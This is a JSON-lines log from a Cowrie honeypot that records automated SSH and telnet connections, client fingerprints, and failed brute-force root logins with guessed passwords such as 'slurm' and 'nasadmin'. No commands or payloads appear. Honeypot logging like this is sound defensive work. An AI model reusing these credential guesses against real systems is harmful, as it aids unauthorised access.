{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:26.327888Z","src_ip":"119.28.117.200","session":"893fce3e3575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.173.247.254","src_port":45398,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b96e0f6cc22","protocol":"ssh","message":"New connection: 31.173.247.254:45398 (159.203.135.109:22) [session: 0b96e0f6cc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:28.182899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:28.187661Z","src_ip":"31.173.247.254","session":"0b96e0f6cc22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:28.422491Z","src_ip":"31.173.247.254","session":"0b96e0f6cc22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:28.753755Z","src_ip":"31.173.247.254","session":"0b96e0f6cc22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":41948,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d75c18f0fb9","protocol":"ssh","message":"New connection: 207.154.230.149:41948 (159.203.135.109:22) [session: 2d75c18f0fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:30.691849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:30.697685Z","src_ip":"207.154.230.149","session":"2d75c18f0fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:30.783159Z","src_ip":"207.154.230.149","session":"2d75c18f0fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bonjour","message":"login attempt [root/bonjour] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:31.156466Z","src_ip":"207.154.230.149","session":"2d75c18f0fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:32.244107Z","src_ip":"207.154.230.149","session":"2d75c18f0fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":53528,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d9b0f5b6f4e","protocol":"ssh","message":"New connection: 43.153.0.59:53528 (159.203.135.109:22) [session: 6d9b0f5b6f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:47.411378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:47.414421Z","src_ip":"43.153.0.59","session":"6d9b0f5b6f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:47.482284Z","src_ip":"43.153.0.59","session":"6d9b0f5b6f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slurm","message":"login attempt [root/slurm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:47.789495Z","src_ip":"43.153.0.59","session":"6d9b0f5b6f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37142,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b12e1f7fd2c","protocol":"telnet","message":"New connection: 192.119.13.58:37142 (10.17.0.5:23) [session: 1b12e1f7fd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:48.175043Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:48.860579Z","src_ip":"43.153.0.59","session":"6d9b0f5b6f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":48624,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa39f08b0afc","protocol":"ssh","message":"New connection: 103.82.132.16:48624 (159.203.135.109:22) [session: fa39f08b0afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:51.485904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:51.489565Z","src_ip":"103.82.132.16","session":"fa39f08b0afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:51.755106Z","src_ip":"103.82.132.16","session":"fa39f08b0afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slipknot","message":"login attempt [root/slipknot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:52.550714Z","src_ip":"103.82.132.16","session":"fa39f08b0afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:53.819771Z","src_ip":"103.82.132.16","session":"fa39f08b0afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":38202,"dst_ip":"159.203.135.109","dst_port":22,"session":"991998827c73","protocol":"ssh","message":"New connection: 115.178.75.242:38202 (159.203.135.109:22) [session: 991998827c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:59.403625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:59.408032Z","src_ip":"115.178.75.242","session":"991998827c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:07:59.594409Z","src_ip":"115.178.75.242","session":"991998827c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slurm","message":"login attempt [root/slurm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:00.387106Z","src_ip":"115.178.75.242","session":"991998827c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:01.577641Z","src_ip":"115.178.75.242","session":"991998827c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":49074,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a76a814089f","protocol":"ssh","message":"New connection: 38.253.239.21:49074 (159.203.135.109:22) [session: 8a76a814089f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:08.657618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:08.661799Z","src_ip":"38.253.239.21","session":"8a76a814089f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:08.889102Z","src_ip":"38.253.239.21","session":"8a76a814089f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":43024,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3936c774c2a","protocol":"ssh","message":"New connection: 108.167.177.203:43024 (159.203.135.109:22) [session: b3936c774c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:09.704197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:09.708443Z","src_ip":"108.167.177.203","session":"b3936c774c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:09.733672Z","src_ip":"108.167.177.203","session":"b3936c774c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinus123","message":"login attempt [root/sinus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:09.831957Z","src_ip":"38.253.239.21","session":"8a76a814089f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqwwee","message":"login attempt [root/qqwwee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:09.869275Z","src_ip":"108.167.177.203","session":"b3936c774c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":33246,"dst_ip":"159.203.135.109","dst_port":22,"session":"1327a3d67ad1","protocol":"ssh","message":"New connection: 163.227.230.54:33246 (159.203.135.109:22) [session: 1327a3d67ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:10.565807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:10.569553Z","src_ip":"163.227.230.54","session":"1327a3d67ad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:10.817367Z","src_ip":"163.227.230.54","session":"1327a3d67ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:10.897383Z","src_ip":"108.167.177.203","session":"b3936c774c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:11.062106Z","src_ip":"38.253.239.21","session":"8a76a814089f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nasadmin","message":"login attempt [root/nasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:11.834654Z","src_ip":"163.227.230.54","session":"1327a3d67ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:13.084068Z","src_ip":"163.227.230.54","session":"1327a3d67ad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.34554362297058,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:25.520489Z","src_ip":"192.119.13.58","session":"1b12e1f7fd2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":37824,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2851baaadcd","protocol":"ssh","message":"New connection: 119.28.117.200:37824 (159.203.135.109:22) [session: d2851baaadcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:36.105690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:36.109951Z","src_ip":"119.28.117.200","session":"d2851baaadcd","protocol":"ssh"}
